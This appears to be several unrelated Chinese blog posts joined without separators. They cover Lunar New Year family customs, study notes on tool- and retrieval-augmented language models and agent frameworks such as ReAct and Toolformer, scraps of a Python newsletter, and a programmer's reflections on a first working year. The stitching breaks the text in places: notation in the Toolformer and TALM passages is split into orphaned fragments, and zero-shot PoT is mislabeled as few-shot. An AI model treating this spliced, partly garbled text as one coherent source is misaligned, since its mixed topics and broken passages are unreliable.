初一早上起来,我们家有个小习惯,就是去柴房抱一摞柴火到厨房,寓意发财。初一早上一般情况下我们会吃面条,寓意调调顺顺,也有吃年糕的,寓意年年高升。也有吃饺子的,这饺子毕竟是北方“外来”文化,没啥讲究,毕竟北方人还会在一堆饺子里面藏一个硬币看谁吃到。我们吃饺子那就真就是饺子。
吃完早饭该去拜年了,一般顺序是父亲这头的兄弟姐妹,伯伯叔叔姑姑。我父亲这辈人,通常兄弟姐妹起码四五个以上,所以初一这天挨家跑,喝茶嗑瓜子尬聊一个少不了。
初二是回娘家的日子。结婚后初二都会带着孩子跟着老婆回娘家拜年,初一是万万不能回娘家的,轻则白眼重则挨骂。然后娘家那边亲戚挨个走一遍,带着礼品叔伯姑舅姨挨家跑,喝茶嗑瓜子尬聊一个少不了。当然娘家拜年一般是不带东西的,因为会在年前按照“看节”的礼仪带到了,无非是烟酒营养品、服装鞋帽和红包。
初三再去给姑父娘舅姨妈拜年,一样的礼仪一样的节奏。现如今出行如此简单方便,很多时候初一这一天就把亲戚跑个遍,初二娘家那头跑个遍,初三就出门旅游了,这几年正月出门旅游的情况在农村也越发多见,算是一门新年俗了。
初四是迎灶王的日子,灶王爷小年夜回天庭述职,到初四就该回来了,印象中我们没有非常特别的民俗,很稀松平常,偶有个别人家会放个爆竹。到初五是迎财神的日子,所以初五凌晨的爆竹声明显比初四来的更加热闹。初五除了迎财神,更重要的是破五,所谓破五就是初五以后很多禁忌就解除了,小时候我记得初五前不动刀杀生,不动剪缝补,不洗澡更衣,不洗衣淘换。就像前面说的随着生活水平的日益提高,这些都简化了,很多禁忌也就维持初一这一天了。
初六就是假期尾声了,用我们的说法就是三六九往外走,如果要出门,逢三逢六逢九的日子适合出门。所以外出返程工作选择初六就比较合适了。
做新客。新客的意思就是去年才结婚的新人,在来年正月要双双携手走两头的亲戚拜年。新客来,主家需要放爆竹迎接,新客走时会包个红包。一般新客会是贵宾,正月走亲串友的比较多,少不了吃饭,所以一般有新客在的,就会随新客在主家吃饭作陪。
做新灵(烧清香)。前面有提到至亲过世的时候,贴春年的习俗。那么在初一的早上亲朋好友就会到这家做新灵(安庆话),或者烧清香(河南话)。做新灵的时候一般只带一个爆竹,到主家门口去放一下。主家会提供早饭,吃完早饭就回了,过几天主家回带礼品来“还年”。
办寿宴。正月也是办寿宴的最佳时间,在我们当地做寿一般是做六和做九,比如孩子成年礼是十六岁,中年礼是三十六岁,老年寿礼从五十九、六十九、七十九、八十九、九十九、一百岁这样。无论生日是一年中的哪一天,做寿一般都赶在正月的某一天进行,就是所谓的抢生过。如果正月确实没排开,那就放在生日当天做寿,这毕竟是少数。前面也提到给孩子包红包,当孩子到十六岁再来拜年,就不再包红包了。三十六岁是人到中年的标志,三十六岁的当年正月初一,要吃白鸡(白色羽毛的公鸡)、穿白衣(白色内衣/衬衣)、串白门(不出门)。然后就是选正月某一天(一般生日是初级就选正月初几,也有请算命先生算日子的)办个寿宴。五十九就是为了六十大寿,如果办了五十九,那六十九的时候就不办了,大多人是办六十九,五十九不办,因为太年轻了。过了六十九,七十九就不办了,后面八十九、九十九、一百一般各家看情况,因为比较少,印象中我也没碰上过几次。如今为了避免麻烦大家,很多九都没人办了,也算是移风易俗了。
三十不打娃,初一不骂狗。孩子再皮,大年三十那天肯定是不会挨揍的。初一人家狗再凶,走亲戚也不会凶狗的。年前剃头,正月不理发。大年三十之前,都会去理发,女士要做头发的也都会弄完,正月是不会去理发的,正月理发不利舅。理发一直要到二月二龙抬头的时候才进行。
舞龙舞狮会。今年是甲辰龙年,所以今年舞龙的队伍格外多,舞龙的队伍会挨家串户,给大家带去福气,当舞龙的到了家门口需要先放爆竹,待舞龙的在院子里转过后,需要给上两包烟或者包个红包。小时候记得更多的则是舞狮的。会进到家门跳到凳子上桌子上,类似于广东的醒狮。同样需要给上香烟或者红包。只是这也很多年没见了。
好了,年俗大概依稀记得这些,主要是为了介绍给孩子,有些能带她参与的就参与了,那些“消失”的年俗或许将来还会重现。
在 上一篇笔记 中,我们学习了很多提示工程相关的技术,比如思维链(CoT)和最小到最多提示(Least-to-Most Prompting)等,显著改善了大模型的推理能力。尽管如此,我们常常还是会看到这样的现象:大模型可以准确地生成解决问题的逻辑步骤,但最终结果仍然不正确,通常这个结果是由于非常简单的错误引起的,比如数值计算错误、无法理解私有知识等。因此研究人员又提出很多想法希望对语言模型进行增强,最常见的思路有:检索增强、编程增强和工具增强,这样的语言模型被称为 增强语言模型(Augmented Language Models)。
在处理 知识密集型(knowledge-intensive) 任务时,语言模型往往会出现 幻觉(hallucination) 现象,检索增强生成(Retrieval Augmented Generation,RAG) 是一种常见的解决幻觉的技术,它将信息检索技术和文本生成模型结合在一起,通过检索外部知识源,增强答案的可靠程度。
一个典型的 RAG 包含两个主要的部分:
RAG 让语言模型不用重新训练就能够获取最新的信息,基于检索出的文档来回答用户问题,不仅提高了答案的可靠性,而且可以给出答案的引用来源,提高了模型的可解释性。
我们也可以省去构建检索系统这一步,直接使用一些现成的搜索引擎,比如 Google、Bing、维基百科等,OpenAI 提出的 WebGPT 和 DeepMind 团队提出的 Internet 增强语言模型 是两个比较典型的示例。
WebGPT 是一个基于 GPT-3 的微调模型,它可以搜索和浏览网页,并且通过人工反馈来优化回答问题的效果:
相对的,Internet 增强语言模型不需要微调,通过少样本提示,就可以让模型从互联网上检索信息。给定一个问题,从 Google 返回的 20 个 URL 中提取出干净的文本,从而得到一组文档,由于这些文档很长,论文将每个文档切分成一个个段落,每个段落包含 6 个句子,然后通过 TF-IDF 余弦相关性算法,计算段落与用户输入的相似性,选取最相关的段落加入到提示词中,输入给大模型获取答案。
下面是一些关于 RAG 的论文:
正如前文所述,结合一些提示技术,语言模型能够准确地给出解决问题的推理步骤,但是,生成正确的推理步骤并不意味着它能正确的解决问题!推理过程中一个小小的算术错误都将导致最终结果的错误,这种错误通常被称为语言模型的 组合性差距(Compositionality Gap),而且这个差距不会随着模型的增大和复杂度的增加而减小。
导致这个现象的根本原因是语言模型不擅长计算,如果能将计算从推理中解耦就好了,让语言模型只负责推理,将计算任务交给专门的计算模块,为了实现这一点,研究人员引入了代码模型来解决这个问题。
首先我们让代码模型产生解决问题的推理步骤,注意不需要模型产生实际的答案,而是生成与推理步骤对应的程序,这段程序是代码和自然语言的混合体(可以理解为带有注释的 Python 脚本),然后使用外部的代码解释器执行程序,从而生成最终的正确答案。这就是编程增强技术的基本思路。
受 CoT 提示技术的启发,Luyu Gao 等人于 2022 年 11 月发表论文 PAL: Program-aided Language Models,提出了一种 程序辅助语言模型(Program-aided Language Model, PAL),这种模型将问题分解为解决问题的推理步骤,每一步包含自然语言和 Python 代码,在生成这样的混合步骤后,我们可以通过 Python 解释器来执行代码,从而解决问题。
使用 PAL,我们只需要 LLM 生成解决问题的推理步骤,而无需生成结果,这种方法可以显著减小上文中提到的组合性差距。我们可以提供几个将问题分解为混合步骤的示例,通过少样本学习来生成这样的混合步骤。PAL 与 CoT 提示非常相似,它们之间的主要区别在于,PAL 中的提示是由交错的自然语言和程序代码组成,见下图:
PAL 与 CoT 提示的另一个区别是,PAL 使用的少样本示例中不包含最终结果,最终解决方案是由 Python 解释器生成的。
使用 PAL 推理过程中的每一步都通过编程语句进行增强,作者建议使用 Python 注释语法(即 # 字符)来生成基于自然语言的中间步骤,这使得基于语言的组件能够插入到生成的程序中。另外,作者观察到,为代码中的变量提供有意义的名称是有益的。
论文作者还给出了 PAL 的数据集和代码,有兴趣的可以 研究一下。
几乎在同一时间,Wenhu Chen 等人发表了论文 Program of Thoughts Prompting: Disentangling Computation from Reasoning for Numerical Reasoning Tasks,提出了 思维程序提示(PoT) 技术,它和 PAL 非常相似。论文的作者同样意识到,尽管大模型擅长复杂的推理,但是却往往在简单的算术计算上栽跟头,从而导致回答错误,通过引入代码增强提示方法可以改善这个问题,使得大模型能够准确地解决复杂的数值任务。
和 PAL 一样,PoT 也是利用 LLM 来生成包含自然语言语句和 Python 代码的混合逻辑步骤,然后,将代码部分放到 Python 解释器中执行,从而实现推理和计算的解耦:
从上图中可以看到,CoT 提示无法解决斐波那契数列这种迭代问题,也求解不了简单的三次方程,PoT 通过程序就可以轻松解决这些问题!
PoT 也分为 少样本 PoT(Few-shot PoT) 和 零样本 PoT(Few-shot PoT) 两种,而且作者发现,零样本 PoT 提示也可以达到很好的效果:
检索增强扩展了模型获取信息的能力,编程增强扩展了模型解决问题的能力,如果抽象来看,他们实际上都是外部工具的调用,让模型负责推理,推理之外的事通过调用外部工具来实现。在 大模型应用开发框架 LangChain 学习笔记(二) 中,我们学习了 OpenAI 的插件机制和 Function Calling 功能,这些其实都是通过外部工具实现的。
关于工具增强,目前已经有不少的论文对此进行了研究,比如上文提到的 Internet-Augmented Language Models 将搜索引擎作为工具,PAL 和 PoT 将 Python 解释器作为工具,我们还可以将浏览器、计算器、QA 系统、翻译系统等等作为工具,比如 LaMDA、BlenderBot 3、WebGPT 等,不过这些方法要么是依赖于大量的人类监督,要么是事先通过少样本提示确定好什么任务中要使用什么工具,使用起来都不够灵活。相比之下,TALM 和 Toolformer 通过 自我监督(self-supervised) 机制,使语言模型能够学习如何以及何时使用工具,而不需要编写任务和工具的示例。
2022 年 5 月,Aaron Parisi 等人发表论文 TALM: Tool Augmented Language Models,提出了 工具增强语言模型 的概念,算得上是工具增强技术的鼻祖了。TALM 和传统语言模型的区别在于,它会引导模型输出要调用的工具以及工具的参数,然后将工具调用的结果输入模型,得到最终的结果:
具体来说,TALM 使用了一种 文本到文本的 API 调用(text-to-text API calls) 方式,首先模型根据问题输出 |tool-call
这种特殊的格式,其中 tool-call
表示所使用的工具,然后输出 tool input text
,表示文本形式的工具参数,后面紧接着输出 |result
固定格式,此时停止模型的输出,开始调用外部工具,然后将调用结果追加到刚生成的文本后面,再加上 |output
送回语言模型,从而生成最终的结果。下面是使用 TALM 调用天气工具的一个示例:
此外,TALM 采用 自我对弈(self-play) 的方法来扩充工具使用示例的数据集,每次模型与工具的交互,通过一种方法判断其是否能改善模型的输出,如果有改善,就扩展到数据集中,并将其用于语言模型的微调。
Toolformer 是 Timo Schick 等人于论文 Toolformer: Language Models Can Teach Themselves to Use Tools 中提出的一种语言模型,和 TALM 一样,也是通过引导模型输出要调用的工具以及工具的参数,然后将工具调用的结果输入模型,最终得到期望的结果:
Toolformer 支持下面 5 种不同的工具:
Toolformer 和 TALM 非常类似,这里就不过多赘述了,我们重点关注它的训练过程:
Your task is to add calls to a Question Answering API to a piece of text. The questions should help you get
information required to complete the text. You can call the API by writing "[QA(question)]" where "question" is the
question you want to ask. Here are some examples of API calls:
Input: Joe Biden was born in Scranton, Pennsylvania.
Output: Joe Biden was born in [QA("Where was Joe Biden born?")] Scranton, [QA("In which state is Scranton?")] Pennsylvania.
Input: Coca-Cola, or Coke, is a carbonated soft drink manufactured by the Coca-Cola Company.
Output: Coca-Cola, or [QA("What other name is Coca-Cola known by?")] Coke, is a carbonated soft drink manufactured
by [QA("Who manufactures Coca-Cola?")] the Coca-Cola Company.
Input: x
Output:
i
,我们进行多次采样,生成不同的 API 调用 ci1
、ci2
等;ri1
、ri2
等;Toolformer 的创新之处在于,仅使用少量的人工标注样本制造大量的自监督样本,理论上可以支持任意的 API 调用,但 Toolformer 也有一些局限性,比如不支持链式工具使用(使用一个工具的输出作为另一个工具的输入)或以交互方式使用(人工选择后采用 API 响应)。
TALM 和 Toolformer 都是微调方案,相比于 Prompt 方案,在复杂问题规划上效果更好,但是很显然没有开箱即用的 Prompt 方案灵活。自动推理并使用工具 (Automatic Reasoning and Tool-use, ART) 是一种简单的工具增强的提示框架,由 Bhargavi Paranjape 等人于 2023 年发表的论文 ART: Automatic multi-step reasoning and tool-use for large language models 中提出,该框架的工作原理是在接到一个新任务时,从任务库中选择多步推理和使用工具的示范,然后在测试中,每当需要调用外部工具时,就暂停生成,将工具输出整合后再继续生成:
可以看出,ART 可以引导模型进行推理,同时还可以调用外部工具进行帮助,使得模型的性能得到提升。ART 相比于 Toolformer,不仅使用上更简单,而且没有 Toolformer 的局限性,支持链式调用和人工反馈,另外,ART 还支持手动扩展,只要简单地更新任务和工具库就可以修正推理步骤中的错误或是添加新的工具。
在 BigBench 和 MMLU 基准测试中,ART 在未见任务上的表现超过了少样本提示和自动 CoT,并且配合人类反馈后,它的表现超过了手写的 CoT 提示。
作者在 GitHub 上开源了 ART 的实现代码,有兴趣的可以参考一下。
在上一篇笔记中,我们学习了不少改善大模型推理能力的提示技术,如思维链(CoT)、思维树(ToT)、最小到最多提示(Least-to-Most Prompting)等,在这一篇笔记中,我们又继续学习如何使用工具增强让大模型的能力得到更大的提升。尽量这两方面的研究都展示了令人印象深刻的效果,但是大模型在解决一些复杂任务时还是不尽如人意。于是研究人员开始将这两点结合起来,智能体的概念也随之浮出水面。
去年 6 月 23 日,OpenAI 的应用研究主管 Lilian Weng 在她的博客上发表了一篇文章 LLM Powered Autonomous Agents,她提出 智能体 = 大模型 + 记忆 + 任务规划 + 工具使用,如下图所示:
其中,记忆可以分为 短期记忆 和 长期记忆,将所有的上下文都视为模型的短期记忆,而外部向量存储和快速检索则视为模型的长期记忆;工具使用表示的是模型通过调用外部 API 获取模型权重中缺失的额外信息,可以参考上文中介绍的内容;任务规划对应的是大模型的推理能力,具体表现在两个方面:
2022 年 5 月,以色列 NLP 研究机构 AI21 Labs 发表了一篇论文 MRKL Systems: A modular, neuro-symbolic architecture that combines large language models, external knowledge sources and discrete reasoning,提出了 MRKL 系统的概念。MRKL 全称为 Modular Reasoning, Knowledge and Language(模块化推理、知识和语言系统),发音为英文单词 miracle(奇迹),这是一种模块化的神经符号架构,试图将现有的神经网络模型(比如大模型),和外部知识库,以及过去流行的符号专家系统结合在一起,从而来兼顾神经模型和符号推理能力。
同时他们还基于 MRKL 实现了 Jurassic-X,其前身是对标 BERT、GPT-3、PaLM 等大模型的 Jurassic-1,在引入 MRKL 系统之前,这些大模型普遍表现出不能获取实时信息、不能访问外部知识、不擅长算术推理、更新成本高等缺点,论文中给出了一些 GPT-3 回答错误(甚至离谱)的例子:
尽管存在这些缺点,但 AI21 Labs 仍然认为,大型语言模型是未来人工智能系统的重要支柱。为解决这些问题,他们提出 MRKL 解决方案,概要设计如下:
一个 MRKL 系统由一组可扩展的模块和一个路由器组成,路由器将每个传入的自然语言输入路由到一个可以最好地响应输入的模块。这些模块被称之为 专家(experts),它们可以是:
通过将符号系统和神经网络相结合,我们可以充分挖掘大型语言模型的潜力。论文中给出了一个计算器的测试用例,当被问到 123 乘以 456 等于多少?
时,MRKL 系统将其路由到计算器应用程序,并从问题中提取出算式,从而得出计算结果。此外,Jurassic-X 的这篇博客 中还介绍了很多 MRKL 的应用场景,涉及到日常生活中的各种问题,感兴趣的同学可以直接阅读原文。
当然,要完成所有这些工作还有很多细节和挑战,比如训练离散专家、平滑符号与神经网络之间的接口、在不同模块之间进行路由等等。遗憾的是,论文中并没有给出 MRKL 的训练方法和代码,只是高屋建瓴地从概念上对 MRKL 系统进行了阐述。下面介绍几种类似 MRKL 系统的实现。
推理和行动(Reasoning and Acting,ReAct) 是 Shunyu Yao 等人在 ReAct: Synergizing Reasoning and Acting in Language Models 这篇论文中提出的一种推理框架,作者通过语言模型以交错的方式生成 推理轨迹 和 任务特定的行动,从而在两者之间实现更大的协同效应:推理轨迹帮助模型诱导、跟踪和更新行动计划,并处理异常情况,而行动则使其能够与知识库或外部环境进行交互,以收集额外信息。
这类似于我们人类在处理复杂问题时的行为,通过推理和行动之间的紧密协同作用,使我们能够快速学习新任务并执行强大的推理和决策,即使面临不可预见的情况时,我们也能做到这一点。
下图是 ReAct 和其他提示技术的一个对比:
我们向语言模型提出一个问题:
除了苹果遥控器,还有哪些设备可以控制苹果遥控器最初设计用来交互的程序?
这个问题来自于 HotpotQA,这是一个需要复杂推理的问答数据集。可以看出无论是使用思维链提示(Reason Only)还是使用工具增强(Act-Only)得到的答案都是错的,只有将推理和行动两者结合起来,才能得到准确的答案。ReAct 首先通过推理明确下一步要做什么(Thought 1),接着执行一个动作(Act 1)发送查询请求,然后收到了一个观察(Obs 1),一直重复这个循环,直到达到结论(Act 4)。通过 ReAct 不仅得到了正常的答案,而且我们可以看到模型一步步解决问题的轨迹(task solving trajectories),具有很好的可解释性。
那么 ReAct 是如何工作的呢?其实还是通过少样本提示来实现的,ReAct 在提示中包含了少量的推理轨迹示例,推理轨迹由多个 思考-操作-观察(Thought-Action-Observation) 步骤组成,如下:
问题 科罗拉多造山带东部区域延伸到的区域的海拔范围是多少?
思考 1 我需要搜索科罗拉多造山带,找到科罗拉多造山带东段延伸的区域,然后找到该区域的海拔范围。
操作 1 搜索 [科罗拉多造山带]
观察 1 科罗拉多造山带是科罗拉多及其周边地区造山运动的一段。
思考 2 它没有提到东部地区。所以我需要查一下东部地区。
操作 2 查找 [东部地区]
观察 2 (结果 1 / 1) 东部区域延伸至高平原,称为中原造山带。
思考 3 科罗拉多造山运动的东部区域延伸到高平原。所以我需要搜索高平原,找到它的海拔范围。
操作 3 搜索 [高平原]
观察 3 高平原指的是两个截然不同的陆地区域之一。
思考 4 我需要搜索高平原(美国)
操作 4 搜索 [高平原(美国)]
观察 4 高平原是大平原的一个分区。从东到西,高平原的海拔从 1800 到 7000 英尺 (550 到 2130 米) 不等。
思考 5 高平原海拔高度从 1800 到 7000 英尺,所以答案是 1800 到 7000 英尺。
操作 5 结束 [1800 到 7000 英尺]
不同类型的任务可以使用不同的示例,比如对那些以推理为主要目标的任务,使用多个思考-操作-观察的步骤有助于任务的解决,而对于涉及许多操作步骤的决策任务来说,则较少使用思考。
论文还给出了 ReAct 在不同任务上的表现结果,在知识密集型推理任务如问答(HotpotQA)和事实验证(Fever)方面,ReAct 通过与维基百科 API 交互,克服了思维链推理中普遍存在的幻觉和错误传播问题,生成了比没有推理痕迹的基准更易解释的类人任务解决轨迹。
论文结果显示,ReAct 在 Fever 上的表现优于 CoT,而在 HotpotQA 上落后于 CoT,作者对此进行了总结:
将链式思考、自我一致性、ReAct 几种提示方法结合起来,通常优于所有其他提示方法。
另外,在两个交互式决策型任务(ALFWorld 和 WebShop)上,只需一两个上下文示例的提示,ReAct 就实现了分别比模仿学习和强化学习方法高出 34% 和 10% 的成功率。不过要注意的是,尽管在这些类型的任务中,ReAct 的推理显露出优势,但目前基于提示的方法在这些任务上的表现与人类专家相差甚远。
ReAct 的实现代码在 GitHub 上开源了,有兴趣同学的可以尝试下。另外,LangChain 基于 ReAct 的思想实现了 Zero-shot ReAct Agent,关于它的使用方法可以参考我之前写的 大模型应用开发框架 LangChain 学习笔记。
前面我们提到过一个概念叫 组合性差距(Compositionality Gap),它表示语言模型能够准确地给出解决问题的推理步骤,但是最终回答却是错的这种现象。这一概念最早由 Ofir Press 等人在 Measuring and Narrowing the Compositionality Gap in Language Models 这篇论文中提出的,他们指出可以通过推理来缩小组合性差距,例如引发思维链,同时他们提出了一种新的方法,即 自问自答(Self-ask),进一步改进了思维链的效果。
Self-ask 的工作原理是,模型在回答初始问题之前,明确地向自己提出后续问题并回答,直到不需要再提问为止:
Self-ask 有点类似于之前学过的 最少到最多提示(Least-To-Most Prompting),将问题分解为更小的后续问题来解决。Self-ask 也依赖于少样本的思维链提示,但是不同于传统的思维链,Self-ask 在提示中不断的反问自己 Are follow up questions needed here
,让模型生成后续问题,回答之后再继续反问自己,直到得到最终答案。得益于 Self-ask 的结构化提示,我们能够轻松地插入搜索引擎来回答后续问题,从而进一步提高准确性。
Self-ask 的原理很简单,实现起来也比较容易,可以参考 GitHub 上的源码。
另外,Harsh Trivedi 等人提出的 IRCoT(Interleaving Retrieval with Chain-of-Thought) 方法,将 CoT 生成步骤和信息检索步骤交错使用,和 Self-ask 非常类似。
对于 ReAct 和 Self-ask,工作原理基本上是一样的:给定一组工具,然后大模型根据用户的输入一步一步地选择工具来执行,每一步的结果都用于决定下一步操作,直到问题被解决。这种逐步执行的 Agent 通常被称为 Action Agent,这些 Agent 本质上使用的都是少样本的思维链提示,比较适合小型任务;如果要处理需要保持长期目标的复杂任务,使用 Action Agent 经常会出现推理跑偏的问题。
为了解决这个问题,Lei Wang 等人提出了 Plan-and-Solve Prompting 提示技术,对应的论文为 Plan-and-Solve Prompting: Improving Zero-Shot Chain-of-Thought Reasoning by Large Language Models,这个提示会提前对问题制定好完整的执行计划,然后在不更新计划的情况下逐步执行,即先把用户的问题拆解成多个子任务,然后再执行各个子任务,直到用户的问题完全被解决。
该提示技术其实和零样本思维链提示非常类似,只是将 Let’s think step by step
换成了下面的提示词:
Let's first understand the problem and devise a plan to solve the problem.
Then, let's carry out the plan to solve the problem step by step.
下图是传统的零样本思维链提示和 PS 提示对比示例:
Plan-and-Solve Prompting 的实现代码可以在 GitHub 上找到,要注意的是它只是一种提示技术,并没有调用外部工具的能力,论文中为了让大模型能正确的处理数学计算问题,还列出了多种改善后的 PS+ 提示词,比如在提示词中添加 pay attention to calculation 要求大模型尽可能准确地进行计算,添加 extract relevant variables and their corresponding numerals 指示大模型不要忽略输入问题陈述中的相关信息,添加 calculate intermediate results 增强大模型生成推理步骤的能力。
所以单独使用 Plan-and-Solve Prompting 在智能体中作用并不大,一般使用这种思想来将用户的问题拆解成子任务,然后每个子任务再使用传统的 Action Agent 进行处理。在 大模型应用开发框架 LangChain 学习笔记(二) 中,我们学习了 Plan and execute Agent 的概念和用法,它的基本思想就来自于此。
除此之外,这篇博客 还介绍了另两种 Plan and execute Agent:LLMCompiler 和 ReWOO,并提供了基于 LangChain 的实现,有时间再深入研究下。
关于任务规划和工具增强的另一个典型例子是由微软提出的 HuggingGPT,对应的论文为 HuggingGPT: Solving AI Tasks with ChatGPT and its Friends in Hugging Face。
HuggingGPT 将 ChatGPT 作为控制器,首先对用户的请求任务进行规划,拆分成不同的子任务,然后在 Hugging Face 提供的开源模型库中选择合适的 AI 模型来完成子任务,最终将结果汇总返回给用户。整个工作流程如下:
HuggingGPT 最有意思的一点是它使用的所有工具都来自于 Hugging Face 的开源模型,由于模型非常多,所以在实际使用过程中,首先需要进行模型选择,例如根据模型下载量和任务相关性进行排序,选出 top-K 模型列表,将模型名称和描述等信息放到上下文提示词里,再由大模型选择合适的模型并执行。
下面是一个更具体的任务示例:
可以看到,这是一个比较复杂的任务,任务要求生成一张照片,照片中要包含一个小女孩在读书,且小女孩的姿势要和 example.jpg 中的男孩一样,然后使用语音描述下新生成的图片。HuggingGPT 将这个任务划分成了 6 个子任务,pose-control -> pose-to-image -> image-class -> object-det -> image-to-text -> text-to-speech,并依次执行。
对 HuggingGPT 感兴趣的同学可以参考开源项目 JARVIS 的实现。
ReWOO: Decoupling Reasoning from Observations for Efficient Augmented Language Models
Ruff
所属团队用 Rust 开发的一个利器:Python 的包解析与安装器uv
!它被设计为 pip
和 pip-tools
的直接替代品,不使用缓存时比它们快 8-10 倍。也可通过 uv venv
用作虚拟环境管理器,比 python -m venv
快 80 倍,比virtualenv
快 7 倍。(附:一篇中文翻译)print("Hello")
大约需要多少个 CPU 指令么?答案是 17000。导入 seaborn
则需要大约 20 亿个。作者开发了 Cirron 库以计算 CPU 指令数、分支未命中数及代码的时间损耗等指标。textwrap
库的几个主要功能,例如 shorten() 裁剪字符串长度、wrap() 将字符串等宽分割、dedent() 处理字符串缩进等。pip
、 pip-tools
和 virtualenv
常用命令。(star 6.6K)# 两个重写成字典推导式的示例
-dict((a, b) for a, b in y)
+{a: b for a, b in y}
-dict([(a, b) for a, b in y])
+{a: b for a, b in y}
2021下半年在一边准备实习一边准备研究生毕业相关的内容,2022年6月正式毕业,也正式入职开始工作。虽然一开始就做了心理建设,工作不是一件轻松的事情,而在今年更是如此。
[scode type="share" size="simple"]
[/scode]
“忙”可能是这一年的关键词,但同时这也可能是真正实践编程、软件开发最多的一年。
四月份开始了一个封闭项目,自己在该项目中独立负责设计和开发一个较为复杂的模块。也是这次的开发经验,让对代码设计有了真正的实践的机会。
毕业后找工作的时候会去学习“设计原则”、“设计模式”,但实际上对这些概念也是囫囵吞枣,一知半解。
比如最简单的“单例”模式,在实际开发中并不推荐使用,甚至“禁止使用”。为什么?如果直接简单的告诉我,单例隐藏了类之间的隐藏关系,我可能并不理解它的坏处是什么。只有在真正的开发中,会发现单例导致的不少问题。比如滥用单例会经常出现初始化时机异常,稍微调整一下单例初始化顺序就可能出现异常,同时软件中可能有用户身份的切换,切换前后需要保证用户数据彻底从内存中清理,而单例在运行时不销毁想要做到这一点则需要更谨慎些。还有单例的使用对UT也是不够友好的,除非单例本身提供了mock。但总体而言,单例不是最佳选择,除非有充分的理由。
这次的项目开发给予了我充分信任,也提供了很多帮助,比如最开始方案评审,和 leader 讨论了好几轮设计细节,和业务方讨论了也好几轮需求场景以及未来可能的需求场景,这些输入帮助我不断的思考究竟什么样的设计是好的设计。在方案设计过程中会有好几种方案,可能都可以满足需求。当时决策的一个原则是:避免过度抽象过度设计,但同时模块内部需要划分好不同的职责,提高可阅读性。
刚接触设计模块/设计原则,很容易去套公式。未必不对,但是可能因为缺乏经验,最后设计出来的模块看起来很厉害,但是不好用。具体而言,可能是设计的层级多/复杂,业务方不知道怎么使用这个模块。这些纸上谈兵很难有真正的体会,只有真正的实践才是检验“模块设计”的标准,因为开发出来后,后序的与业务方对接以及模块的功能迭代大部分都是自己来承担,这个过程会不会发现之前设计的不错的地方,以及还可以优化改进的地方。
4月到7月份整整三个月几乎没有太多的休息。以为7月结束后,可以恢复到正常(去年)的工作节奏了,但很快发现,只要你愿意投入,工作的强度就一直存在。“出门在外,工作的强度是自己给的”,这话没错。8月\~12月又在负责另一个项目,但同时因为原先的项目在后续有更多的人员参与,所以又会参加不少相关的技术评审会议。
在这个过程中会与非常多的人交流,这是以往未有的。这个过程有三点的变化:更了解职场真实的面貌,同时也对时间规划有更高的要求,以及自己会有自己负责事情有更深、更全面的认识以及迭代方向。
刚工作的时候埋头做好自己手头的事情,基本上就很难遇到职场那些糟心的事情。工作和职场的区别就好像是编程和软件工程的区别。编程就是做当下的事情,而软件工程则多一个一个维度:时间。职场同样多了一个维度:人与人的关系。比如和QA安排提测时间,和QA沟通提测细节,和PM对接,和其他RD沟通技术方案,review 其他人的代码。
在跨团队合作中也是非常考验人的一项能力。毕竟跨团队合作,你们彼此之间没有什么上下级,但是却有事情的驱动方和被驱动方。对方客客气气配合合作是他的职业素养高,对方不配合,给你甩脸子,还真的拿人家没办法。当然找对方上级那大概是下下策了,真的上升问题后,下次对方还可能“和气”的一起工作吗?最开始的时候,我没想到别人还会不配合的可能,抱着大家都是很彼此配合的心理一往无前的冲,直到后面吃了几次闭门羹就越发的觉得职场没有那么纯粹和简单的事情。
除此之外,跨团队合作也会遇到甩锅的问题,每个人对问题导致的原因可能理解不一致,就容易产生纷争。亲身就经历过一次这样的事情:另一个团队同事开发的新需求部分代码修改和我当前负责的模块相关。线上出现一个崩溃的时候,这个崩溃栈是在他的代码中的,一开始找不到复现路径,我根据最近的一些需求变化找到了复现路径,原因是业务的一个新的接口组合调用暴露了这个问题,这个问题根源是这个同事代码没有考虑到这个场景(我之前也没有考虑这个场景),所以他写的代码里就没有针对这个场景进行空指针保护,从而导致的崩溃。在我的角度很显然,这个同事直接加一下空指针保护修复一下即可,他却认为是业务调用引入的问题,所以不归他负责。接着直接在群里拉我的leader和他的leader,大有一幅评评理的架势。
虽然这些事情是非常头疼的,但是新的一年的,希望不要因为这些经历导致倾向于在工作上逃避沟通。工作是更好的达成目标,完成事情,如果对方不配合,那是对方的事情,需要想其它的办法来达成目标。专注自己的工作有没有预期,有没有解决问题才是最重要的,工作不是用来交朋友的地方。
当然也在合作中遇到过不错的同事,非常感谢!但总之职场不是一件埋头苦干就行的工作。
时间规划也是一个有意思的话题。在工作之前,我对TODO任务规划就有一些研究,比如GTD(Get Things Done),也用过不少任务类软件。在工作中,那些任务规划的技巧对我而言都太繁琐,我更习惯使用一个文档来记录每天的任务和进度,这个过程中最重要的是优先级的排列。始终做优先级最高的事情非常重要,但这一点也非常持续的执行。因为人都是喜欢去做轻松的,成就回报高的事情,对于需要复杂思考的硬骨头总是不自觉的“能拖就拖”,克服这一点是至关重要的。
工作中还有另一件事情非常重要的是承诺的可靠性。期间有一段时间因为自己非常忙,总觉得理所当然的对承诺的事情延期。但这实际上是一种不太靠谱的行为,即使有合理的理由,也不应该多次出现。将心比心,如果自己和对方合作,我们也希望对方给定的预期交付时间是准确的,即使有预期外导致延期,也一定不要因为害怕对方责怪而拖着不去告知缘由,这非常重要。
工作时间长了,负责的事情多了,同时可以做的自由度也就相对更高了,即所谓的“权责一致”。相比最开始别人怎么说就怎么做,到现在也会对自己负责的模块思考有没有改进的需要,比如部分代码重构等。这是一个很自然的过程,一开始对模块不熟悉,后面随着排查的问题越来越多,就会对模块的细节理解的越来越清晰,就会发现历史代码设计中的一些问题。这些问题可能是随着需求迭代而不断产生的。
经常会说“不要过度设计”,那什么是过度设计,这个度其实只有真正维护这个代码的人才能切实的感受到。
经常会说“高内聚低耦合”也是一样,如果一味的追求解耦,就会出现不必要的代码复杂度变高,有的时候两个模块的定位在当下和未来可见的时间内就是紧密绑定在一起的,那又何苦增加一个中间层解除耦合,增加很多不必要的接口建立两个模块的联系呢?所以这些代码设计原则是真正服从于所做的需求的。
关于代码设计的心得,后面有空也会单独整理一篇文章来和大家交流一下。
